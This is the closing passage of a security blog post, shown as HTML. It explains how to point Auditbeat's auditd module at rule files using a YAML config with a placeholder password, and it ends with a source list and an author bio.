  <span class="na">username</span><span class="pi">:</span> <span class="s2">"</span><span class="s">auditbeat_internal"</span>  
  <span class="na">password</span><span class="pi">:</span> <span class="s2">"</span><span class="s">YOUR_PASSWORD"</span>
</code></pre></div></div>

<p>To configure auditd rules, validate location of the <code class="language-plaintext highlighter-rouge">audit_rule_files</code> </p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ... </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">auditd</span>  
  <span class="na">audit_rule_files</span><span class="pi">:</span> <span class="pi">[</span> <span class="s1">'</span><span class="s">${path.config}/audit.rules.d/\*.conf'</span> <span class="pi">]</span>  
  <span class="na">audit_rules</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">## Define audit rules  </span>
<span class="c1"># ...</span>
</code></pre></div></div>

<p>In this case it is in <code class="language-plaintext highlighter-rouge">/etc/auditbeat/audit.rules.d/</code> and I add <code class="language-plaintext highlighter-rouge">audit-rules.conf</code> from <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">https://github.com/Neo23x0/auditd/blob/master/audit.rules</a></p>

<p>For some of the custom rules I make I add it in <code class="language-plaintext highlighter-rouge">/etc/auditbeat/audit.rules.d/custom.conf</code> </p>

<hr />

<h1 id="other-sources">Other sources:</h1>

<ul>
  <li>[1] <a href="https://github.com/elastic/integrations/issues/1930">https://github.com/elastic/integrations/issues/1930</a></li>
  <li>[2] <a href="https://linuxsecurity.com/features/lead-microsoft-engineer-kevin-sheldrake-brings-sysmon-to-linux">Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux</a></li>
  <li>[3] <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing">Redhat CHAPTER 7. SYSTEM AUDITING</a></li>
</ul>

<hr />

<p>Photo by <a href="https://unsplash.com/@brookanderson?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Brook Anderson</a> on <a href="https://unsplash.com/s/photos/climbing?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></p>

  </div>

  <hr/>
  <br/>

  

<div itemscope itemtype="http://schema.org/Person">

  <div class="author__avatar">
        <img src="/assets/profile.png" class="author__avatar" alt="Pepe Berba">
  </div>

  <div class="author__content">
    <h3 class="author__name">Pepe Berba  </h3> 
    <p class="author__bio">Cloud Security at Thinking Machines| GMON, CCSK | Ex-Machine Learning Researcher and Ex-SOC Engineer</p>
  </div>
</div>




  
</article>

      </div>
    </main>
  </div>
    

<footer class="site-footer">

  <div class="wrapper">

    <h2 class="footer-heading">pepe berba | stats, security, and crypto
  

	&nbsp

	


<a href="https://twitter.com/__pberba__"><i class="fab fa-fw fa-twitter-square" aria-hidden="true"></i></a>
<a href="https://www.linkedin.com/in/pberba"><i class="fab fa-fw fa-linkedin" aria-hidden="true"></i></a>
<a href="https://github.com/pberba"><i class="fab fa-fw fa-github" aria-hidden="true"></i></a>
<a href="https://medium.com/@pberba"><i class="fab fa-fw fa-medium" aria-hidden="true"></i> </a>

</h2>


</footer>


  </body>

</html>
